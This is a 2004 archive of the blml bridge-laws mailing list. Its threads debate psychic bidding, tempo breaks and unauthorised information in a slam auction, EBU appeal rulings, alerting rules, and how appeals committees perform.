------=_NextPart_000_000C_01C46DE5.B95E4D40-- From richard_willey@hotmail.com Thu Jul 22 14:09:45 2004 From: richard_willey@hotmail.com (richard willey) Date: Thu, 22 Jul 2004 13:09:45 +0000 Subject: [blml] Psychic Bidding Guidelines Message-ID: Hi Richard I find myself in the bizarre situation of agreeing with almost everything that you are saying while disagreeing with your conclusions. >From what I can tell, the difference of opinion is a consequence of the following comment. >Therefore, consistently accurate transmission of >information from one partner to the other partner >in the auction (and defence) is usually a better >choice of global partnership strategy, than the >alternative choice of a mixed strategy of >randomising information to all three opponents. >From my perspective, most of the "classic" opportunities to employ mixed strategies occur after one member of the partnership has already provided a specific description of his hand. More specifically, people typically employ psyches opposite a passed hand, opposite a limited opening bid, or during a slam auction. The act of limiting your hand provides partner with much more strategic flexibility. Case in point: Partner has opened 1H promising 4+ Hearts and 10-14 HCP and I hold: S 9 H A8765 D T762 C Q93 I think that it is best to randomize across a set of bids including 3H, 3N, and 4H >This is a prime reason why I use Symmetric Relay >in the auction (and a prime reason why I use >Journalist leads & signals in the defence). Curious. I play MOSCITO in all my serious partnerships. However, I view the Relay sequences in much the same way as I view the strong club opening. Symmetric relay is an enabling tool that allows me offload strong hands from the constructive response structure. _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar – get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From walt1@verizon.net Thu Jul 22 14:46:29 2004 From: walt1@verizon.net (Walt) Date: Thu, 22 Jul 2004 09:46:29 -0400 Subject: FW: [blml] Moderator Approval In-Reply-To: References: Message-ID: <6.1.2.0.0.20040722094347.02fb6de0@incoming.verizon.net> Jim I believe it had to do with HTML in the email (which he didn't realize was being generated by his mailer) kicking it into a "to be approved" queue. Walt At 11:11 PM 19/07/2004, jimfox00@cox.net wrote: > >-----Original Message----- >From: jimfox00@cox.net [mailto:jimfox00@cox.net] >Sent: Monday, July 19, 2004 8:22 PM >To: 'Wayne Burrows' >Subject: RE: [blml] Moderator Approval > >What process? What problem? > >Mmbridge > >-----Original Message----- >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of >Wayne Burrows >Sent: Saturday, July 17, 2004 9:16 PM >To: blml@rtflb.org >Subject: [blml] Moderator Approval > >Do all messages go through this process? > >If not are there tips to avoid this problem? > >TIA > >Wayne From emu@atrax.net.au Thu Jul 22 14:49:49 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Thu, 22 Jul 2004 23:49:49 +1000 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: Message-ID: <000201c46ff2$c36bfee0$3a5ddccb@noeltsui0kso1i> You misunderstand me Richard. I never claimed free Christmas presents - = nor do I want them. My point was that the game becomes a farce. I stress = that we have no agreement, and can never have any 'useful' agreement if this = sort of logic prevails. We might as well play Whist. regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of richard.hills@immi.gov.au Sent: Thursday, July 22, 2004 8:34 AM To: blml@rtflb.org Subject: Re: [blml] Psychic Bidding Guidelines Noel Bugeia: >If my partner and I both read this book and >agree to play what it suggests, then I alert >each and every Pass or Bid by him - and I >explain when asked, eg. "1H? - That shows >10-14 points, 5+ Hearts; unless of course, he >doesn't have that, then it's anybody's guess, >including mine!". > >Have fun guys! ;-) Richard Hills: No, Noel, Christmas has not come early. Alerting will not save you. As soon as your partnership's psyches become frequent enough to become an alertable agreement, they metamorphose into pseudo-psyches. And as soon as your bidding system has a partnership agreement to use pseudo-psyches, then your bidding system metamorphoses into a Yellow (HUM) system, which is a prohibited system for most Aussie events. Nice try, but no banana. ;-) Best wishes RJH _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From TG0JLH1@wpo.cso.niu.edu Thu Jul 22 20:25:53 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 22 Jul 2004 14:25:53 -0500 Subject: [blml] Be prepared! Message-ID: >>> 7/21/2004 5:09:32 PM >>> Imps Dlr: West Vul: Nil The bidding has gone: WEST NORTH EAST SOUTH 3D 3S 5D ? You, South, hold: KQ3 KJT8742 85 A What call do you prepare? What other calls do you consider preparing? ------------------ Lots of alternatives. 6S, 5H, and double are all plausible, 5S and 6D worth considering. My choice is 5NT--pick a slam. Jim Hudson From richard.hills@immi.gov.au Thu Jul 22 23:04:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jul 2004 08:04:59 +1000 Subject: [blml] Psychic Bidding Guidelines Message-ID: Richard Willey: >I find myself in the bizarre situation of agreeing >with almost everything that you are saying while >disagreeing with your conclusions. > >From what I can tell, the difference of opinion is >a consequence of the following comment. Richard Hills (initial comment): >>Therefore, consistently accurate transmission of >>information from one partner to the other partner >>in the auction (and defence) is usually a better >>choice of global partnership strategy, than the >>alternative choice of a mixed strategy of >>randomising information to all three opponents. Richard Willey: >From my perspective, most of the "classic" >opportunities to employ mixed strategies occur >after one member of the partnership has already >provided a specific description of his hand. [snip] Richard Hills (current comment): I have a tendency towards Kaplanesque over-subtlety and over-succinctness. The other Richard failed to notice my caveat, "is *usually* a better choice". Therefore, we agree to agree. Richard Hills (initial comment): >>This is a prime reason why I use Symmetric Relay >>in the auction (and a prime reason why I use >>Journalist leads & signals in the defence). Richard Willey: >Curious. I play MOSCITO in all my serious >partnerships. However, I view the Relay sequences >in much the same way as I view the strong club >opening. Symmetric relay is an enabling tool that >allows me offload strong hands from the >constructive response structure. Richard Hills (current comment): Again, we agree to agree. Playing a relay system gains *multiple* advantages over other systems which use the obsolete Culbertson approach-forcing method. In my opinion, the Culbertson bidding style, which is the bedrock of Standardish systems, Acolish systems, and most Precisionish systems, is as obsolete as the QWERTY keyboard. The only reason that the QWERTY keyboard has not been replaced by the superior Dvorak keyboard, is due to locked-in inertia - change would be too difficult. Likewise, the United States has locked-in inertia causing it to retain the feet, pounds and gallons system of measurements, preventing it adopting the superior metric system. This locked-in inertia caused NASA some embarrassment a few years ago. Due to a programming confusion on units of measurement - one part of the program using "feet", another part of the program using "metres" - a NASA Mars probe burnt up when it entered the Martian atmosphere at the wrong angle. Best wishes RJH PS If any blmler wants a copy of my comprehensive 26-page Symmetric Relay system notes, please send me a private email. From richard.hills@immi.gov.au Thu Jul 22 23:34:21 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jul 2004 08:34:21 +1000 Subject: [blml] Be prepared! Message-ID: Imps Dlr: West Vul: Nil The bidding has gone: WEST NORTH EAST SOUTH 3D 3S 5D ? You, South, hold: KQ3 KJT8742 85 A What call do you prepare? What other calls do you consider preparing? * * * There have been a number of different responses -> Wayne Burrows: >6S > >I considered 5H, 5S, 5NT, 6H. Jim Hudson: >Lots of alternatives. 6S, 5H, and double are all >plausible, 5S and 6D worth considering. My choice >is 5NT--pick a slam. Brian Thorp: >Not sure about "preparing" calls. The call I >make is 6S. And the calls I considered and >rejected were 5S and 6C. And all of the responses were utterly wrong. Brian Thorp came closest to being right, when he was rightly suspicious of me asking, "What call do you prepare?", rather than me asking the standard question "What call do you make?" The correct answer is to prepare your call by a thoughtful break in tempo. After that judicious pause, you then bid 5S. Pard will then know that: (a) Your 5S is not a sacrifice against an opposing cold 5D, and (b) Your 5S is not a signoff in game, so (c) Your 5S is based on the values for slam, but (d) You are worried about losing two quick diamond tricks before your side can cash its 13 winners. Pard will then pass 5S without a diamond control, scoring +450, but bid slam with a diamond control, scoring +980 or +1010. At the table the judicious pause + 5S call was chosen. Pard held: AJ752 A A32 KT72 Since pard held the requisite diamond control, they followed orders and raised to 6S for +1010. The operation was a success, because when the opponents called the TD, the TD ruled, "6S was clearly the probable bid for South. Pass does not seem a logical alternative." But the patient died, because the AC adjusted the score back to 5S, +510. But the operation was a success, because the precedent established by the AC was questioned by the EBU Laws and Ethics Committee, which wrote: >>The L&E is on record as concluding that in many >>situations a slow bid is more likely to suggest >>extra values than that the bid is a stretch. >>However, the L&E doubts that this is a valid >>conclusion of general application when a player >>is under pressure at a high level. Accordingly, >>although the TD's conclusion that Pass was not a >>logical alternative does not seem right, it >>would not have been surprising if the score had >>been allowed to stand on the basis that the >>successful action was not suggested by the >>unauthorised information. [snip] Best wishes RJH From blml@blakjak.com Fri Jul 23 01:03:08 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 23 Jul 2004 01:03:08 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <+1twRoM8WFABFwrm@blakjak.demon.co.uk> Gordon Rainsford wrote >On 19 Jul 2004, at 00:22, John (MadDog) Probst wrote: > >> This one is pretty clear. If they can show 1N is *not* the blacks then >> result stands, and they'll need to have it on their cc's, or have very >> good arguments. 1NT is often Nat here btw in this auction. It will be >> unlikely they can prove it, so I would adjust most of the time. I >>don't >> think there'd be *any* (for *any* read well not much) argument amongst >> the English ACs or TDs about this. Nailing oppo with a screwed up 5-5 >> agreement just gets you a bad score - every time. john > >I'd have thought that most EWs, but the very weak, would have been >expected to protect themselves by asking. It's a situation commonly >played either way. Do we know the standard of EW players? It was agreed that I could publish books on appeals in England and Wales so long as I never quote players' names. I cannot remember who it was, and it does not appear in the booklet. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 23 01:05:32 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 23 Jul 2004 01:05:32 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <157CBA88-D94F-11D8-ACE8-0030656F6826@rochester.rr.com> References: <157CBA88-D94F-11D8-ACE8-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote >I didn't overlook it, it just seemed to me I wanted more information >than was given. However, given that assessment, it appears that the AC >decided that the partnership did not have an agreement (implicit or >explicit) that 1NT is unusual in the given auction. That being the >case, 1NT must default to whatever meaning general bridge knowledge >gives it, and *that* being the case, it is not alertable, as I >understand the EBU alert regs. Therefore, there was no misinformation, >and therefore, there should be no score adjustment. Oh, and 1NT was a misbid. > >How's that? ;-) .... and I thought he understood English alerting!!!!! :((( If a call is not natural then it requires an alert in England, whether it is the normal meaning or not - remember the hours of warbling about alerting Stayman, as though it mattered? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jul 23 01:07:58 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 23 Jul 2004 01:07:58 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: <008601c46d86$b778a980$20ca87d9@4nrw70j> Message-ID: Ed Reppert wrote > >On Monday, Jul 19, 2004, at 07:50 US/Eastern, grandeval wrote: > >> E-W could have different ideas and still be found to have an >> agreement. > >I accept that this is so, but my poor brain cannot divine the logic >behind it. Can you enlighten me? If you ask me, and I say RKCB, and ask my partner, who says San Francisco, we have differing ideas. If he then reminds me we agreed to play San Francisco six months ago because of a particular hand then we have an agreement, which I had forgotten. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Fri Jul 23 01:10:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jul 2004 10:10:42 +1000 Subject: [blml] The White Book Message-ID: The White Book is a useful resource for all TDs (not merely English ones). It can be downloaded from the following site: http://www.ebu.co.uk/laws_ethics/2004whitebook.htm Best wishes Richard Hills From grandeval@vejez.fsnet.co.uk Fri Jul 23 01:40:09 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Fri, 23 Jul 2004 01:40:09 +0100 Subject: [blml] Be prepared! References: Message-ID: <000501c4704d$b298d650$99a487d9@yourtkrv58tbs0> ----- Original Message ----- From: To: Cc: Sent: Thursday, July 22, 2004 11:34 PM Subject: Re: [blml] Be prepared! > > > > > Imps > Dlr: West > Vul: Nil > > The bidding has gone: > > WEST NORTH EAST SOUTH > 3D 3S 5D ? > > You, South, hold: > > KQ3 > KJT8742 > 85 > A > > What call do you prepare? > What other calls do you consider preparing? > > * * * > The correct answer is to prepare your call by a > thoughtful break in tempo. After that judicious > pause, you then bid 5S. Pard will then know that: > > (a) Your 5S is not a sacrifice against an opposing > cold 5D, and > > (b) Your 5S is not a signoff in game, so > > (c) Your 5S is based on the values for slam, but > > (d) You are worried about losing two quick diamond > tricks before your side can cash its 13 winners. > > > the precedent established by the AC was > questioned by the EBU Laws and Ethics Committee, > which wrote: > > >>The L&E is on record as concluding that in many > >>situations a slow bid is more likely to suggest > >>extra values than that the bid is a stretch. > >>However, the L&E doubts that this is a valid > >>conclusion of general application when a player > >>is under pressure at a high level. Accordingly, > >>although the TD's conclusion that Pass was not a > >>logical alternative does not seem right, it > >>would not have been surprising if the score had > >>been allowed to stand on the basis that the > >>successful action was not suggested by the > >>unauthorised information. > +=+ I take it that there was a longer pause than the Stop card would justify? Memory tells me (since I do not have the document to hand) that the CoP referred to such situations, in the 2001 jurisprudence and perhaps in the original text. It seems right that there should be an extra tempo tolerance when a player is confronted with a very high level pre-empt. There will often be a variety of possible factors that might occasion thought and the information conveyed may well be unclear. ~ G ~ +=+ From richard.hills@immi.gov.au Fri Jul 23 02:03:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jul 2004 11:03:10 +1000 Subject: [blml] Be prepared! Message-ID: Grattan Endicott asked: >+=+ I take it that there was a longer pause than >the Stop card would justify? Memory tells me (since >I do not have the document to hand) that the CoP >referred to such situations, in the 2001 jurisprudence >and perhaps in the original text. It seems right that >there should be an extra tempo tolerance when a player >is confronted with a very high level pre-empt. There >will often be a variety of possible factors that might >occasion thought and the information conveyed may >well be unclear. ~ G ~ +=+ Richard Hills clarifies: 1. The most recent version of the WBF CoP contains an Appendix named "Guidelines for Rulings". The issue of the so-called "hot-seat" is discussed in Guideline 5 -> "...It is desirable to exhibit extra tolerance in relation to a 'hesitation' when a player encounters an unprecedented situation in the auction..." 2. The paragraph I snipped from the L&EC advice agrees with the WBF CoP, as the snipped paragraph states -> "The L&E has also minuted that a that a short hesitation immediately following an unexpected bid by an opponent should not necessarily be considered to be a departure from normal tempo or to transmit significant unauthorised information. It confirms that a 'bounce' in response to a pre-empt should not be regarded as unexpected." 3. However, Grattan's statement, "It seems right that there should be an extra tempo tolerance when a player is confronted with a very high level pre-empt," is *not* consistent with the L&EC statement, "...a 'bounce' in response to a pre-empt should not be regarded as unexpected." 4. Director's statement of facts -> "North asked the nature of the 5D bid and was told that it was pre-emptive in nature ('to up the ante'). He thought and then bid 5S." Best wishes RJH From ereppert@rochester.rr.com Fri Jul 23 02:57:19 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 22 Jul 2004 21:57:19 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: On Thursday, Jul 22, 2004, at 20:07 US/Eastern, David Stevenson wrote: > Ed Reppert wrote >> >> On Monday, Jul 19, 2004, at 07:50 US/Eastern, grandeval wrote: >> >>> E-W could have different ideas and still be found to have an >>> agreement. >> >> I accept that this is so, but my poor brain cannot divine the logic >> behind it. Can you enlighten me? > > If you ask me, and I say RKCB, and ask my partner, who says San > Francisco, we have differing ideas. If he then reminds me we agreed > to play San Francisco six months ago because of a particular hand then > we have an agreement, which I had forgotten. True. But this one is too easy. I took Grattan to mean that a pair could still be found to have an agreement, even though neither player changes his story. From ereppert@rochester.rr.com Fri Jul 23 03:15:45 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 22 Jul 2004 22:15:45 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <34DA3BDC-DC4E-11D8-A6A1-0030656F6826@rochester.rr.com> On Thursday, Jul 22, 2004, at 20:05 US/Eastern, David Stevenson wrote: > .... and I thought he understood English alerting!!!!! :((( > > If a call is not natural then it requires an alert in England, > whether it is the normal meaning or not - remember the hours of > warbling about alerting Stayman, as though it mattered? Hm. I didn't say it was Stayman. Yes, I know Stayman is alertable in England. I don't remember now how I was thinking, so either I didn't think it was Stayman, or I was, um, having a senior moment. :-) From richard.hills@immi.gov.au Fri Jul 23 04:39:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jul 2004 13:39:06 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: David Stevenson: >.... and I thought he understood English alerting!!!!! :((( > >If a call is not natural then it requires an alert in >England, whether it is the normal meaning or not - remember >the hours of warbling about alerting Stayman, as though it >mattered? Richard Hills: In my opinion, I believe that David is another victim of the Monty Wolff trap, as (in my opinion) David is inappropriately applying Aristotle's Law of the Excluded Middle. In my opinion, a call which has no partnership meaning cannot be described as "not natural". Unless, of course one wants to rule that "natural" or "not natural" is dependent upon the cards held by a player, rather than upon that player's *mutual* partnership agreement. But that would require all English TDs to adopt the De Wael School, rather than rule in accordance with the Laws. Law 75 footnote: >>...they have no claim to an accurate description of the >>North-South hands... Since alerts are a form of description, the opponents have no claim to know whether a totally undiscussed 1NT overcall (with zero explicit or implicit agreement) was *intended* by its perpetrator as either "natural" or "not natural". Best wishes RJH From TG0JLH1@wpo.cso.niu.edu Fri Jul 23 06:41:23 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Fri, 23 Jul 2004 00:41:23 -0500 Subject: [blml] Be prepared! Message-ID: >>> 7/22/2004 5:34:21 PM >>> Imps Dlr: West Vul: Nil The bidding has gone: WEST NORTH EAST SOUTH 3D 3S 5D ? You, South, hold: KQ3 KJT8742 85 A What call do you prepare? What other calls do you consider preparing? . . . . The correct answer is to prepare your call by a thoughtful break in tempo. After that judicious pause, you then bid 5S. Pard will then know that: (a) Your 5S is not a sacrifice against an opposing cold 5D, and (b) Your 5S is not a signoff in game, so (c) Your 5S is based on the values for slam, but (d) You are worried about losing two quick diamond tricks before your side can cash its 13 winners. Pard will then pass 5S without a diamond control, scoring +450, but bid slam with a diamond control, scoring +980 or +1010. --------------------- But the EBU Laws and Ethics Committee questioned Richard's claim that all this information would be inferable from the pause, and rightly so (as it seems to me). By the way, wouldn't *double* have been the more successful action at the table? 5D looks to be down about five. Jim Hudson From hermandw@hdw.be Fri Jul 23 08:10:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 23 Jul 2004 09:10:21 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4100B9DD.6090901@hdw.be> richard.hills@immi.gov.au wrote: > > > In my opinion, I believe that David is another victim of the > Monty Wolff trap, as (in my opinion) David is inappropriately > applying Aristotle's Law of the Excluded Middle. > > In my opinion, a call which has no partnership meaning > cannot be described as "not natural". Unless, of course one > wants to rule that "natural" or "not natural" is dependent > upon the cards held by a player, rather than upon that > player's *mutual* partnership agreement. > > But that would require all English TDs to adopt the De Wael > School, rather than rule in accordance with the Laws. > I see no reason to be using my name in vain here! > Law 75 footnote: > > >>>...they have no claim to an accurate description of the >>>North-South hands... > > > Since alerts are a form of description, the opponents have > no claim to know whether a totally undiscussed 1NT overcall > (with zero explicit or implicit agreement) was *intended* by > its perpetrator as either "natural" or "not natural". > Of course true, but how are you going to prove that there was no agreement? If I bid 1NT with a 2-suiter, I damn well are hoping that my partner understands; That hope must be based on something and that something has to be disclosed. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ereppert@rochester.rr.com Fri Jul 23 22:31:16 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 23 Jul 2004 17:31:16 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <4100B9DD.6090901@hdw.be> Message-ID: On Friday, Jul 23, 2004, at 03:10 US/Eastern, Herman De Wael wrote: > If I bid 1NT with a 2-suiter, I damn well are hoping that my partner > understands; That hope must be based on something and that something > has to be disclosed. Depends what the something is. From hermandw@hdw.be Sat Jul 24 01:41:01 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 24 Jul 2004 02:41:01 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4101B01D.1050905@hdw.be> No it does not. Ed Reppert wrote: > > On Friday, Jul 23, 2004, at 03:10 US/Eastern, Herman De Wael wrote: > >> If I bid 1NT with a 2-suiter, I damn well are hoping that my partner >> understands; That hope must be based on something and that something >> has to be disclosed. > > > Depends what the something is. > no it does not. What can some hope depend on? nothing else but parts of conversations, shared experience, systems with others, habits in your area, and the like. All these need to be disclosed, and the best way to do so is simply to disclose what you think. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From richard.hills@immi.gov.au Sat Jul 24 02:17:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 24 Jul 2004 11:17:01 +1000 Subject: [blml] Be prepared! Message-ID: I have reconsidered my initial position upon the actual case at the stem of this thread. I now believe: (a) I was wrong, (b) The TD was wrong, (c) The AC majority was wrong, (d) The AC minority was *right*, and, (e) The EBU L&EC was wrong. EAST SOUTH WEST Bunny 3D 3S 5D 5S(1) (1) Hesitation I now agree with the AC minority that, when bidding for the first time at the five-level, 50% of the time a bunny will hesitate due to fear of making an overbid, and 50% of the time a bunny will hesitate due to fear of making an underbid. Director's statement of facts: >North asked the nature of the 5D bid and was told >that it was pre-emptive in nature ('to up the >ante'). He thought and then bid 5S. In my opinion, only a bunny would need to ask about the nature of the 5D bid. Therefore, I now join the AC minority in ruling that the bunny's hesitation did not demonstrably suggest anything in particular, so that South was free to guess to call *either* Pass *or* 6S, without South having their guess adjusted if South guessed lucky. However..... EBU Laws and Ethics Committee: >>The L&E is on record as concluding that in many >>situations a slow bid is more likely to suggest >>extra values than that the bid is a stretch. >>However, the L&E doubts that this is a valid >>conclusion of general application when a player >>is under pressure at a high level. Accordingly, >>although the TD's conclusion that Pass was not a >>logical alternative does not seem right, it >>would not have been surprising if the score had >>been allowed to stand on the basis that the >>successful action was not suggested by the >>unauthorised information. [snip] I still believe that the EBU L&EC was wrong, since (in my opinion) the EBU L&EC over-generalised. EAST SOUTH WEST Expert 3D 3S 5D 5S(1) (1) Hesitation In my opinion, experts freely overbid in tempo, but experts are much more worried about underbids, so experts are much more likely to break tempo when underbidding. Therefore, if an expert broke tempo in this auction, as the expert's partner I would assess that 75% of the time the expert was underbidding, and only 25% of the time the expert was overbidding. In my opinion, the score that experts hate above all others is +190. Best wishes Richard Hills From blml@blakjak.com Sat Jul 24 03:28:47 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 03:28:47 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: Ed Reppert wrote > >On Thursday, Jul 22, 2004, at 20:07 US/Eastern, David Stevenson wrote: > >> Ed Reppert wrote >>> >>> On Monday, Jul 19, 2004, at 07:50 US/Eastern, grandeval wrote: >>> >>>> E-W could have different ideas and still be found to have an >>>> agreement. >>> >>> I accept that this is so, but my poor brain cannot divine the logic >>>behind it. Can you enlighten me? >> >> If you ask me, and I say RKCB, and ask my partner, who says San >>Francisco, we have differing ideas. If he then reminds me we agreed >>to play San Francisco six months ago because of a particular hand then >>we have an agreement, which I had forgotten. > >True. But this one is too easy. I took Grattan to mean that a pair >could still be found to have an agreement, even though neither player >changes his story. Re-read the above case: we had an agreement even though i had forgotten it. Now, suppose I do not remember even after prompting - so what? We had an agreement. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 24 03:29:59 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 03:29:59 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: wrote > > > > >David Stevenson: > >>.... and I thought he understood English alerting!!!!! :((( >> >>If a call is not natural then it requires an alert in >>England, whether it is the normal meaning or not - remember >>the hours of warbling about alerting Stayman, as though it >>mattered? > >Richard Hills: > >In my opinion, I believe that David is another victim of the >Monty Wolff trap, as (in my opinion) David is inappropriately >applying Aristotle's Law of the Excluded Middle. > >In my opinion, a call which has no partnership meaning >cannot be described as "not natural". Unless, of course one >wants to rule that "natural" or "not natural" is dependent >upon the cards held by a player, rather than upon that >player's *mutual* partnership agreement. Since we are talking of calls with a partnership meaning this is not relevant. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Sat Jul 24 06:25:32 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 01:25:32 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <4101B01D.1050905@hdw.be> Message-ID: On Friday, Jul 23, 2004, at 20:41 US/Eastern, Herman De Wael wrote: > no it does not. > > What can some hope depend on? nothing else but parts of conversations, > shared experience, systems with others, habits in your area, and the > like. All these need to be disclosed, and the best way to do so is > simply to disclose what you think. You assume that all bridge players are always completely rational. The other day, in a club game, with a pickup partner, I had a hand I didn't know how to bid. I was sure we could make 5S, but I wasn't sure we could make six. It would do me no good to ask for aces - I had them all. In the end, I jump raised to 5S, hoping that partner would recognize that a source of tricks was what I was looking for. She passed with KQJ in hearts, and six made handily. In the post mortem, both opponents said they would have taken 5S as a Grand Slam try. Partner said she had no clue what was going on, so passed. Had she been asked during the hand what 5S meant, and replied as above, would you have ruled she violated Law 40B? From ereppert@rochester.rr.com Sat Jul 24 06:29:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 24 Jul 2004 01:29:30 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <6FF7C4BA-DD32-11D8-9055-0030656F6826@rochester.rr.com> On Friday, Jul 23, 2004, at 22:28 US/Eastern, David Stevenson wrote: > Re-read the above case: we had an agreement even though i had > forgotten it. Are you saying you would have (or did) claimed that you had no agreement even after having been reminded that you did? I suppose that a truly forgetful player might be in that position, but I would think it would be awfully rare. From blml@blakjak.com Sat Jul 24 06:40:38 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 06:40:38 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: Message-ID: RJH wrote >A classic example, in which both the TD and AC fell >into the Monty Wolff trap, *is* appeal number eight >in the forthcoming 2003 WBU casebook. See attached. Talking of which, where are these casebooks? Both EBU and WBU have been sent to the relevant webmasters - whoops, sorry, webmistresses. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 24 06:48:05 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 06:48:05 +0100 Subject: [blml] AC performance (was Reno ... four) In-Reply-To: References: Message-ID: RJH wrote >2. Untrained EBU ACs (which sometimes fail to quote >the Laws when announcing their rulings) will more often >perpetrate an incorrect ruling than trained EBU TDs >(who always quote the Laws when announcing their >rulings). I have seen this comment and related ones several times, so it seems about time to express my profound disagreement with the underlying view. TDs put the Law number on because the form asks them to. ACs do not because [a] the form does not ask them to and [b] it is not their job. The chance of an AC over-ruling a TD because of a different Law is infinitesimal. The application of Law is the province of the TD and not the AC. There is no reason for an AC to quote Law numbers. ACs consider the bridge judgement of a case and consider whether the TD ruling is correct in its bridge judgement. True, it is somewhat different in the ACBL, but the basic idea is the same, even though they do not start with the TD ruling. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jul 24 06:53:19 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 24 Jul 2004 06:53:19 +0100 Subject: [blml] AC performance (was Reno ... four) In-Reply-To: References: Message-ID: <5cRhb7DPlfABFwoY@blakjak.demon.co.uk> RJH wrote >Disagree. In my opinion, it is not the cost, >but rather the cost-benefit ratio, which >determines the number of frivolous appeals. > >Real-life example -> Capital punishment does not >deter crimes. Indeed, in the eighteenth century >when pickpocketing was punishable by death, many >pickpockets would ply their trade when crowds >gathered at public executions. ... which proves nothing about whether capital punishment deters crimes. Suppose you would be hanged for parking for more thna an hour. How many hangings would htere be? How many people park illegally now? Capital punishment is a deterrent. What many people disagree on is how much of a deterrent, whether it is worth it, whether it is moral, and so on, but it is easy to demonstrate that it is a deterrent. >Jim Hudson: > >>and so the TDs will probably in fact have ruled >>correctly in a great majority of the cases >>appealed. If it is high, appeals will occur >>only when the appellants are pretty sure of >>winning, > >Richard Hills: > >But many appellants are not well versed in the >Laws, so therefore have an erroneous perception >about their chances of winning. In my opinion, >there is only a slight correlation between a TD >error and the likelihood of an appeal. In my >opinion, many erroneous TD rulings are not >appealed because the damaged side does not want >to be bothered with the hassle that appealing >involves. Maybe so, but that does not mean that there is as little correlation as you suggest, since players can talk to Appeals Advisors who will have a good idea about the merits of the appeal. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From 